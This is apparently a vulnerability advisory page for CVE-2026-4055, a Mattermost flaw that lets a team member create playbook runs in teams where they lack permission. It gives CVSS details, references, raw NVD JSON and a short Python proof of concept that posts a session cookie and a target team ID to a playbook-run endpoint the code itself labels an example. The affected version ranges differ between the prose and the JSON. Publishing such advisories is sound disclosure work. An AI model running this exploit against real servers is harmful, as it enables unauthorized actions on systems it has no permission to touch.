CVE-2026-4055

Description

Mattermost versions 11.5.x <= 11.5.1 fail to validate team-level run_create permission against the target team when creating a playbook run which allows an authenticated team member to create runs in teams where they lack permission via specifying a different team ID in the run creation API request. Mattermost Advisory ID: MMSA-2026-00629

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE

Mattermost 11.5.x <= 11.5.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit_mattermost(target_url, cookie, target_team_id):
    """
    PoC for CVE-2026-4055: Mattermost Permission Bypass
    """
    headers = {
        "Cookie": cookie,
        "Content-Type": "application/json"
    }
    
    # Payload attempting to create a playbook run in a target team
    payload = {
        "team_id": target_team_id,
        "name": "Unauthorized Run",
        "playbook_id": "placeholder_playbook_id" 
    }
    
    # Endpoint to create a playbook run (example endpoint)
    endpoint = f"{target_url}/api/v4/playbooks/runs"
    
    try:
        response = requests.post(endpoint, json=payload, headers=headers)
        if response.status_code == 201:
            print("[+] Exploit successful! Run created in unauthorized team.")
            print(f"[+] Response: {response.text}")
        else:
            print(f"[-] Exploit failed. Status code: {response.status_code}")
            print(f"[-] Response: {response.text}")
    except Exception as e:
        print(f"[!] An error occurred: {e}")

# Usage
# exploit_mattermost("https://mattermost.example.com", "MMAUTHTOKEN=...", "target_team_id_here")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4055
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4055
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4055/
[4] VulDB https://vuldb.com/cve/CVE-2026-4055
[5] https://mattermost.com/security-updates

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4055", "sourceIdentifier": "[email protected]", "published": "2026-05-21T08:16:23.130", "lastModified": "2026-05-21T19:45:43.413", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.5.x <= 11.5.1 fail to validate team-level run_create permission against the target team when creating a playbook run which allows an authenticated team member to create runs in teams where they lack permission via specifying a different team ID in the run creation API request. Mattermost Advisory ID: MMSA-2026-00629"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.17", "matchCriteriaId": "F9018E52-5C7F-4E59-B637-604B8EECD974"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.5.0", "versionEndExcluding": "11.5.5", "matchCriteriaId": "DF287562-A912-43DD-8FAC-0CD8EC7BEF7E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.6.0", "versionEndExcluding": "11.6.2", "matchCriteriaId": "AFCFC389-02A5-45CD-8EEB-9ED208C0EE83"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}